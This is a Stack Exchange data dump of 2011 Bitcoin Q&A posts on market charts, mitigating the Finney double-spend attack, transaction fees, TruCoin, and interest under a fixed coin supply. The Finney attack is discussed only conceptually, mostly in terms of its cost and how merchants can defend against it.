  <row Id="1181" PostTypeId="1" AcceptedAnswerId="1743" CreationDate="2011-09-21T09:25:10.650" Score="9" ViewCount="2803" Body="&lt;p&gt;MtGox Live is a quite pretty live market depth graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason it only shows prices in USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know an equally good alternative which supports EUR instead?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="132" LastEditDate="2011-09-21T13:37:32.270" LastActivityDate="2013-03-12T09:30:06.957" Title="Is there a &quot;MtGox Live&quot; alternative which supports Euro?" Tags="|mtgox|charts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1182" PostTypeId="2" ParentId="1181" CreationDate="2011-09-21T09:36:43.057" Score="2" Body="&lt;p&gt;One of the most popular semi-live market watches is: &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; if you click on mtgox, there is a panel on the left which will allow you to select EUR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a #bitcoin-market channel on freenode IRC dedicated to real-time market updates.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-21T09:36:43.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1183" PostTypeId="2" ParentId="59" CreationDate="2011-09-21T15:48:45.720" Score="9" Body="&lt;p&gt;I'm in a mining pool, using several multi-core servers and generating about 7-10Mhashes/second.  It has yielded me currently about $0.01 dollars in the last 36 hours.  I do not pay for electricity.  I made a penny.  It's not that exciting. :) There are GPUs that can accumulate my MHash rate that I create across several CPUs, without even getting warm.  So my guess, based on my experience, is &quot;no&quot;&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2011-09-21T15:56:19.487" LastActivityDate="2011-09-21T15:56:19.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1184" PostTypeId="1" AcceptedAnswerId="1189" CreationDate="2011-09-21T16:59:28.340" Score="11" ViewCount="816" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Related Question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1192/would-a-reduced-block-generation-time-make-the-finney-attack-more-difficult/1200#comment-1357&quot;&gt;Would a reduced block generation time make the Finney attack more difficult?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand that the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3441.msg48384#msg48384&quot; rel=&quot;nofollow noreferrer&quot;&gt;Finney-attack&lt;/a&gt; is the main reason why accepting a zero-confirmation transaction should be avoided for transactions of significant value or at on-demand websites that &quot;ship&quot; instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a merchant needs to accept transactions near-instantly - what can he do to mitigate the risk of this specific kind of attack without relying on any third-party (escrow-like) service? Are there any practical strategies like checking large pools for the transaction, systematically delaying the acceptance of the transaction, etc. that actually work? What could be changed within the Bitcoin-client to lessen the likelihood of this attack-vector?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-09-14T20:09:50.203" Title="What can be done to mitigate the risk of a Finney-attack?" Tags="|security|confirmations|revert-transaction|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1186" PostTypeId="2" ParentId="1184" CreationDate="2011-09-21T18:53:25.923" Score="-3" Body="&lt;p&gt;&lt;em&gt;What can a merchant do to mitigate the risk this specific kind of attack?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait for a few confirmations.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-21T18:53:25.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1187" PostTypeId="2" ParentId="1184" CreationDate="2011-09-21T20:33:34.927" Score="0" Body="&lt;p&gt;In the best-case scenario, the merchant would be listening to nodes all over the network for any conflicting transactions.  If no conflicting transactions are broadcast before the legitimate transaction fully propagates, then the merchant can be sure that legitimate miners won't put a conflicting transaction into their blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer is mining, however, they can attempt to find a block and include a conflicting transaction before the rest of the network manages to find a block and include the legitimate transaction.  In this case, the chance of the attacker succeeding is equal to the percentage of the network's total hashing power that they control (eg, an attacker mining at 100 GH/s would have a 1% chance of pulling this off if the network's total hashrate was 10 TH/s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker could wait until they find a block and include a transaction to send their coins to themself.  Once they find the block, they withhold it from the network and attempt to make a purchase from the merchant.  If they manage to complete the purchase and acquire the desired goods before the rest of the network finds a block, they release their pre-mined block and invalidate the legitimate transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter version would probably be impractical to pull off on a brick-and-mortar merchant, simply due to the time required to get to the store, make the purchase, and leave after finding a block.  An online merchant could accept the transaction immediately, but wait for at least one confirmation before shipping in order to prevent the attack.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-21T20:33:34.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1188" PostTypeId="1" AcceptedAnswerId="1191" CreationDate="2011-09-21T21:29:09.583" Score="11" ViewCount="3530" Body="&lt;p&gt;I noticed that most Bitcoin exchanges (&lt;a href=&quot;https://mtgox.com/&quot;&gt;MtGox&lt;/a&gt;, &lt;a href=&quot;https://www.tradehill.com/&quot;&gt;TradeHill&lt;/a&gt;, &lt;a href=&quot;https://www.exchangebitcoins.com/&quot;&gt;ExchangeBitcoins&lt;/a&gt;, etc.) do not charge any fees for withdrawing bitcoins. What kind of strategies can they use in order to reduce these costs?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="1878" LastEditDate="2013-03-14T04:11:40.550" LastActivityDate="2013-03-14T04:11:40.550" Title="What strategies can an e-wallet use in order to reduce transaction fees?" Tags="|transactions|e-wallet|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1189" PostTypeId="2" ParentId="1184" CreationDate="2011-09-21T22:10:41.217" Score="7" Body="&lt;p&gt;The key to understanding why the Finney attack isn't really that big of a deal is understanding the business case for accepting 0/unconfirmed transactions. An online merchant doesn't usually have to accept such transactions since they probably do batch-shipping anyway. It's not required from an integration standpoint since the API includes many options to simply not return transactions without confirmations. The only business case that requires the acceptance of 0/unconfirmed transactions is when your customer is standing directly in front of you and won't be around for 10+ minutes. In such cases, a Finney attack isn't feasible and here's why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine I'm a scammer wanting to use the Finney attack against you, the honest merchant. I've spent a few grand and bought myself 3 GH/s worth of Radeon 5830 rigs. This number isn't arbitrarily chosen, I specifically picked it to make for easy math - 3 GH/s will net you about 1 block per month at current difficulties. Given that actual brick-and-mortar stores are closed for about 8 hours per night on average, this means that 1/3 of my found blocks will occur outside of business hours so on average I get a chance to double-spend with a Finney attack every 45 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as with all mining, there's no telling when you'll hit that lucky block so if I'm dead set on executing this attack I have to stay hypervigilant because once every 45 days I'll get an alarm of some sort telling me to go spend money at my target's store. I have to get there quickly because if I don't make my purchase and remotely trigger the release of the block fast enough, that block will get solved by some other miner and I'll lose my chance. So let's say on average it takes me 5 minutes to get somewhere, pick something and make a big purchase - I've got a 50% chance of failure, so now I'm able to execute my attack about once every 90 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining isn't cheap - my 3 GH/s setup draws something like 2 kilowatts, add in another 800 watts or so for cooling and at my local electricity costs it runs me about $8 a day to try for this attack. Multiply this by the 90 days it takes on average for me to be successful and I have to be successful to the tune of $710 just to break even. I'd make better money mining! Keep in mind that I've spent 16 hours a day every day for three months waiting for that alarm to go off too, so even if I double-spend $1420 (double my costs) I still only make $236.67 per month for my trouble - 49.3 cents per hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and once you've made the purchase there's still the gap between then and releasing the block. If a block is found during that window, you've &lt;em&gt;actually&lt;/em&gt; spent that money now. This particular attack is not without risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's something of an answer - not how to mitigate the attack but why the attack doesn't really matter. Online merchants don't &lt;em&gt;need&lt;/em&gt; to accept 0 confirmation transactions since your stuff probably won't ship within 10 minutes anyway and brick-and-mortar merchants add a delay to the transaction process that makes the attack unfeasible. Even without the delay, the transaction would have to be positively huge to make any sort of profit and the attacker &lt;em&gt;still&lt;/em&gt; stands a large risk of &lt;em&gt;actually&lt;/em&gt; spending the money anyway. I don't really see this taking off.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-21T22:10:41.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1190" PostTypeId="2" ParentId="1069" CreationDate="2011-09-21T22:15:59.540" Score="0" Body="&lt;p&gt;At current valuations ($5.59 as I write this), the profitability of GPU mining is dominated by the cost of physically housing, cooling, and maintaining the GPU mining rigs in a commercial scale datacenter. Electricity and rig capital costs are both less. Electricity and GPU hardware depreciation costs are generally the only costs considered in today's mining profitability calculators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our analysis can be found &lt;a href=&quot;http://largecoin.com/downloads/gpu-mining-profitability.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2011-09-21T22:15:59.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1191" PostTypeId="2" ParentId="1188" CreationDate="2011-09-21T23:41:31.240" Score="15" Body="&lt;p&gt;First, transfer out older coins, gathering as few inputs as possible. The client does this automatically, and exchanges will typically have a vast supply of old outputs they can claim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, combine transactions (using 'sendmany'), sending funds to more than one destination at a time. If you have a single, large, old transaction output you can claim, use it to make payments to three or four destinations at once. This will keep your transaction just inside the free relay limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, configure your client appropriately. Set it to never pay a transaction fee. Set it to specifically connect to other clients known to relay transactions with no fees and known to be linked to miners who are willing to include transactions with no fees. And trade off anonymity for convenience and speed by modifying your client to send new, local transactions to all connected clients immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that not all of these strategies will always be appropriate. For example, if fast transactions are important to your customers, it may be worth paying the occasional transaction fee even if you have to eat the cost.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-21T23:41:31.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1192" PostTypeId="1" AcceptedAnswerId="1200" CreationDate="2011-09-21T23:54:00.863" Score="15" ViewCount="1062" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1184/what-can-be-done-to-mitigate-the-risk-of-a-finney-attack&quot;&gt;What can be done to mitigate the risk of a Finney attack?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Finney attack is a form of double-spending attack where the attacker pre-mines a block containing a conflicting transaction and then publishes a transaction. A merchant relies on the published transaction to do something irreversible. The attacker then succeeds if he can publish the pre-mined block after the merchant has committed and before the network can find a different block. (The merchant must act irrevocably on a published, but unconfirmed, transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been suggested (by &lt;a href=&quot;https://bitcoin.stackexchange.com/users/22/david-perry&quot;&gt;David Perry&lt;/a&gt;) that reducing the block generation time will make the network more resistant to this kind of attack. The reasoning is (I assume) that the window in which the attacker can launch the attack, the time after he publishes the transaction and before that transaction gets into a block, would be smaller. However, I don't find this argument convincing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the attacker can stretch the interval by creating a burst of meaningless transactions using older coins or with small transaction fees. He can gather lots of new inputs into his transaction to reduce its priority. Thus, he can make it very unlikely that his published transaction will get in the next block found by the network anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, with a faster block generation time, the difficulty will be lower. The attacker has to wait until he's lucky anyway. So maybe he can just wait until he mines two blocks ahead of the network. Then while it's more likely the network will find a block before he can complete his attack, the network has to find &lt;strong&gt;two&lt;/strong&gt; blocks, not just one. And meanwhile, he can keep looking for even more blocks. (Imagine he is conspiring with a mining pool that has, say, 30% of the network's hashing power.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the correct analysis? Would a faster block generation time really make any difference to the effectiveness of Finney attacks?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2017-01-12T12:13:28.180" Title="Would a reduced block generation time make the Finney attack more difficult?" Tags="|doublespend|weaknesses|block-interval|finney-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1193" PostTypeId="1" CreationDate="2011-09-22T00:06:36.067" Score="7" ViewCount="805" Body="&lt;p&gt;I just saw that Gavin is employed with a company called &lt;a href=&quot;http://www.trucoin.com/&quot; rel=&quot;nofollow&quot;&gt;TruCoin&lt;/a&gt;. Any idea what does it actually do besides help develop and QA the bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.trucoin.com/?page_id=8&quot; rel=&quot;nofollow&quot;&gt;about page&lt;/a&gt; (odd URL) doesn't explain it much.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2014-10-03T09:16:05.447" LastActivityDate="2014-10-03T09:16:05.447" Title="What does TruCoin do?" Tags="|trucoin|gavin-andresen|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1194" PostTypeId="2" ParentId="1193" CreationDate="2011-09-22T00:08:07.017" Score="1" Body="&lt;p&gt;Right after posting this question I saw they're the one behind &lt;a href=&quot;http://www.bitcoindeals.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Deals&lt;/a&gt; (selling items for bitcoins).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-22T00:08:07.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1195" PostTypeId="1" CreationDate="2011-09-22T01:53:49.143" Score="66" ViewCount="82785" Body="&lt;p&gt;I know that I pay the transaction fee per kB, so how can I calculate how large the transaction will be before I send it via the RPC api. I run a site using bitcoins, and I cannot let the user's balance go negative, so I need to know if they have enough balance to cover the cost.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="5406" LastEditDate="2018-05-15T20:15:34.287" LastActivityDate="2023-06-17T20:28:50.963" Title="How to calculate transaction size before sending (Legacy Non-Segwit - P2PKH/P2SH)" Tags="|transaction-fees|p2sh|p2pkh|transaction-weight|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1196" PostTypeId="2" ParentId="172" CreationDate="2011-09-22T03:10:26.560" Score="3" Body="&lt;p&gt;I believe the blame lies on AMD's driver. I've heard that 11.9 might have fixed the bug, but am not sure. 11.6 works for me on Debian Squeeze without the cpu usage bug.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2011-09-22T03:10:26.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1197" PostTypeId="2" ParentId="876" CreationDate="2011-09-22T04:59:09.293" Score="31" Body="&lt;p&gt;It's impossible to say for sure right now, because &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41345.msg507159#msg507159&quot;&gt;according to Gavin&lt;/a&gt;, Bitcoin's transaction fee structure will be redesigned at some point:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin's fee structure isn't right either, and fixing it to create a market between miners and clients is high on the TODO list&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2011-09-22T06:10:41.523" LastActivityDate="2011-09-22T06:10:41.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1198" PostTypeId="2" ParentId="1195" CreationDate="2011-09-22T05:22:33.380" Score="21" Body="&lt;p&gt;It is important to understand that the transaction fee you have to pay to &lt;em&gt;make&lt;/em&gt; a payment is based on how you &lt;em&gt;received&lt;/em&gt; the funds you are using to make the payment. The outgoing payment (assuming it's only to one place) is always going to be the same size. So the 'out' part will always have two standard &quot;pay to address&quot; scripts. The size of the 'in' part will depend on how many outputs you have to claim, which depends on how you got the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wouldn't suggest charging the transaction fee to the person withdrawing, because then you're billing the user based on parameters the user has no control over. The transaction fees depend on things like how many transaction outputs you have to gather to get the coins needed. That's completely dependent on how your funds are structured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine if you walk into a candy store and are told that a candy bar is 35 cents, but then when they rang you up, they tacked on a 15 cent fee. When you asked them what it was for, they explained that the previous customer had paid them all in pennies, and in order to give you your change, they'd have to count all those pennies, and that takes more time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'd be pissed because that fee has to do with how their funds are structured and has nothing to do with your transaction. You would expect them to either eat those costs or build them into their prices. You wouldn't expect them to figure out exactly how much it costs to sell you a candy bar based on their internal business configuration and charge you personally based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either charge a flat fee per withdrawal (.01 BTC is currently common) or cover the transaction fees yourself. And use &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1188/what-strategies-can-an-e-wallet-use-in-order-to-reduce-transaction-fees/1191#1191&quot;&gt;sensible strategies to reduce transaction fees&lt;/a&gt;. But, in my opinion, you really don't want to pass on that kind of cost to a customer.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-22T05:29:20.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1199" PostTypeId="2" ParentId="1193" CreationDate="2011-09-22T15:13:21.360" Score="6" Body="&lt;p&gt;From reading publicly available information it seems the intention of TruCoin is to create a set of stable business fronts that can benefit both the growth of bitcoin and also the company (ofcourse)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we all know without stable business there will be very little growth. Working in close colaboration with the lead developer of bitcoin gives both a good understand of how to support the specific business metrics that bitcoin may demand when running a live and large e-commerce site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other upcoming sites may greatly benefit from any situations that they face and can certainly &quot;test the water&quot; for large organizations to use BTC.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-22T15:13:21.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1200" PostTypeId="2" ParentId="1192" CreationDate="2011-09-22T16:02:25.243" Score="7" Body="&lt;p&gt;Assuming all else is equal (same network hashrate, etc) then the attacker still represents the same percentage of the overall hashrate and therefore may claim the same percent of the blocks for his/her attack. While it's true that faster block time increases the total number of blocks, reduces the difficulty and makes it so that the attacker has more opportunities to land an attack with the same hashrate it also lowers the detection time for such an attack and narrows the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the standard Bitcoin network, a block is found roughly every 10 minutes, but realistically they are found along normal distributions with their peaks at 10 minute intervals. A block may be found immediately after another block or it may take 20 minutes to find the next block, but these are not typical cases. I don't have data to show what one standard deviation from the 10 minute mark would be, but I can say that if block time were reduced such that the region of +/- 1 standard deviation overlapped slightly, an attacker would face a statistically significant risk of a block being found before he or she could execute the Finney attack. I have no idea what other effects this might have on the network, and it would require significant testing to confirm its feasibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the +/- 1 SD region did not overlap, the distance between their boundaries is effectively the period of time an attacker has to execute an attack, so anything which narrows this gap reduces the effectiveness of a Finney attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active question which I've still not found an answer to, is this: Does the value of σ² for the distribution of block finds change along with average block time or is it somewhat static? If σ² remains the same then decreasing the block time will drastically effect the ability of an attacker to utilize this method, but if it decreases proportionally to block time then the only effect block time has on such an attack is the added requirement of greater precision in timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;I've received confirmation that block generation isn't a normal distribution but rather a Poisson distribution and that the time window for a Finney attack &lt;strong&gt;does&lt;/strong&gt; scale linearly with block time. To this end, reduced block time provides no &lt;strong&gt;statistical&lt;/strong&gt; advantages over normal block time, but it does still require an increase in precision on the part of the attacker. As I've not heard of anyone executing a Finney attack, even as a proof-of-concept it's questionable how much the precision requirement would help in preventing attacks, though the effectiveness of such is probably more dependent on the merchant/business model than on the network itself.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-23T16:19:33.310" LastActivityDate="2011-09-23T16:19:33.310" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1201" PostTypeId="1" AcceptedAnswerId="1205" CreationDate="2011-09-22T19:52:00.030" Score="15" ViewCount="1083" Body="&lt;p&gt;Suppose Bitcoin lenders (banks, creditors, investors) issue loans with interest. As the total supply of bitcoins approaches the 21M ceiling, the total amount owed in outstanding interest will exceed the money supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as existing banks: they actually hold only a fractional reserve of funds, and the economy as a whole owes itself more money than there is in existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that reserve banks can print more money (yes, with inflation). Bitcoin can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An economy can continue to operate, I assume as long as there is enough circulation for a debtor to pay back his interest. However, since interest is compounded, it grows at an exponential rate: over time, wouldn't the total debts eventually outstrip the coins in circulation available to repay them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would Bitcoin find itself in a situation similar to the current global economic crisis? How would it correct itself?&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="5406" LastEditDate="2015-06-17T12:30:06.873" LastActivityDate="2015-06-17T12:32:22.680" Title="How would interest and fractional reserve banking work in a limited money supply?" Tags="|economic-theory|banks|fractional-reserve|loans|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1202" PostTypeId="2" ParentId="1193" CreationDate="2011-09-22T19:56:58.840" Score="1" Body="&lt;p&gt;One service they offer is to provide an exit node for BitcoinJS (e.g., WebCoin )&#xA; - &lt;a href=&quot;https://exit.trucoin.com:3125/&quot; rel=&quot;nofollow&quot;&gt;https://exit.trucoin.com:3125/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-22T19:56:58.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1203" PostTypeId="2" ParentId="1201" CreationDate="2011-09-22T20:37:33.387" Score="9" Body="&lt;p&gt;The limited money supply isn't actually an inherent problem for payment of interest.  &lt;strong&gt;As long as the people being paid the interest are spending it back into the economy (presumably the banks, creditors, and investors have expenses, right?), then there will be an opportunity for the person who owes the interest to earn or buy it back&lt;/strong&gt; and use it to pay down their debt--with each cycle of this the debt gets further paid off, no matter how limited the total amount of currency. To understand how this works, imagine that the person who borrowed the money is working as a janitor at the bank.  The interest they pay funds their wages, so the same coins can keep circulating in a loop as the debt is paid off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking more broadly, most people don't just borrow more and more and more all the time.  During the course of operations a responsible business or individual tends to pay &lt;em&gt;down&lt;/em&gt; their debt, so the total amount of debt wouldn't automatically grow simply due to compounding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger problem for an economy with a limited total currency supply is that, given ongoing economic growth, the value of the currency itself will tend to rise.  This makes any &quot;reasonable&quot;&#xA;interest rate end up being negative, and in that case why would anyone lend money anyways?  There are ways around this involving futures markets, etc.  However, &lt;strong&gt;it's quite unlikely that someone would choose to denominate their debt in bitcoins in the first place because it would be so confusing&lt;/strong&gt;.  Remember, no reasonable person believes that bitcoins are going to replace &lt;em&gt;all other currencies&lt;/em&gt;.  So probably, you would just borrow money denominated in one of the many other possible currencies instead, and use it to buy bitcoins if you needed them.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-09-22T20:37:33.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1204" PostTypeId="2" ParentId="1100" CreationDate="2011-09-22T20:49:11.583" Score="0" Body="&lt;p&gt;Although I agree with David Schwartz that you should re-think your design, there's a much simpler way than sending a Satoshi to a black hole address.  &lt;strong&gt;You could simply have the users use the least significant digits of their payment to denote their username&lt;/strong&gt;.  So, for example, use the last five digits of the user's phone number as their default username and have a user with phone number ending in 12345 send 1.00012345 bitcoins to deposit 1 btc.  That way they could use the normal client GUI and any other source that allows sending of full-decimal-place bitcoins.  And 100 deposits would still only cost them at most 9 bitcents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recommend this because, like with David's suggestion, the payments could identify which user is making the deposit to a well-resourced third party.  &lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-22T20:54:17.550" LastActivityDate="2011-09-22T20:54:17.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1205" PostTypeId="2" ParentId="1201" CreationDate="2011-09-22T20:50:15.060" Score="10" Body="&lt;p&gt;It doesn't matter very much because the economy can trivially create substitutes for currency. Anything that has the same capabilities as currency (fungible, easily exchanged, limited supply) can also serve as currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example would be a Mt. Gox code. Mt. Gox may or may not have 100% reserves, but it doesn't matter. A Mt. Gox code for 100 Bitcoins is basically as good as 100 Bitcoins. If you don't fully trust Mt. Gox, maybe it's as good as 99.5 Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can &quot;print money&quot; without actually being able to produce currency. For example, say I want to buy a car today and need 2,500 Bitcoins to do so. If someone loans me 2,500 Bitcoins in exchange for an insured IOU to pay 2,600 Bitcoins in six months, the 2,500 Bitcoins I borrowed to buy the car are still in circulation. But there is also now an IOU in circulation that is also worth 2,500 Bitcoins. As that note comes closer to maturity, it's value will go up. So just by time passing, the effective number of Bitcoins in circulation will go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is bad news to the people who don't like the way a modern economy works, oppose fractional reserve banking and currency controls, and think that Bitcoins will bring on a new economy where banks can't create money. But I think it's pretty obvious that the same kinds of things will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole Bitcoin system itself is an example of creating money out of thin air.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-22T22:26:16.183" LastActivityDate="2011-09-22T22:26:16.183" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1206" PostTypeId="2" ParentId="1163" CreationDate="2011-09-22T20:51:22.527" Score="3" Body="&lt;p&gt;&quot;Bitcoin days destroyed&quot; seems like a bogus metric. Transactions in the block chain do not always represent an actual economic trade. Wallets routinely resign the remainder of a coin to a new private key and it's very hard to determine what is the transaction and what is the change. You could spend 0.5 BTC from a 50 BTC block mined 10 days ago, and resign 49.5 BTC to yourself - you have &quot;destroyed&quot; 500 bitcoin days as far as the metric is concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to care about the proportion of currency circulating, just the average velocity. Us dollar M1 velocity is in the 8 - 10 range. That means that on average a dollar changes hands every 1-1.5 months. If we assume a similar dynamic for say 10 million bitcoins (2 years from now?), we get about $4400/BTC for 10% of your quoted Visa volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 10% of that is very, very much. It includes 1500bln in cash/ATM and 1700bln in credit purchases. The online commerce part of that than Bitcoin could target is maybe 200bln dollars and 10% of that brings the price of one bitcoin to 200$. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all this assuming the deflation does not choke the velocity - which it will, bringing the actual volume down and with it the incentive for businesses to invest in bitcoin support.&lt;/p&gt;&#xA;" OwnerUserId="471" LastActivityDate="2011-09-22T20:51:22.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1207" PostTypeId="1" CreationDate="2011-09-22T21:12:49.893" Score="16" ViewCount="527" Body="&lt;p&gt;One criticism I commonly hear of Bitcoin is that it merely transfers trust from some sort of central bank or government entity to the developers of the main project.  &lt;strong&gt;Can anyone provide a clean summary of what would happen (technically speaking) if a large majority, small majority, large minority, or small minority of Bitcoin users opposed a backwords-incompatible change to the protocol via the standard client?&lt;/strong&gt;  And does this &quot;power to dissent&quot; lie disproportionately with miners, and/or with major economic players like businesses and exchanges?&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-09-23T05:22:46.400" Title="What happens if the developers make a controversial change to the &quot;standard&quot; client?" Tags="|development|bitcoin-core|blockchain-fork|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
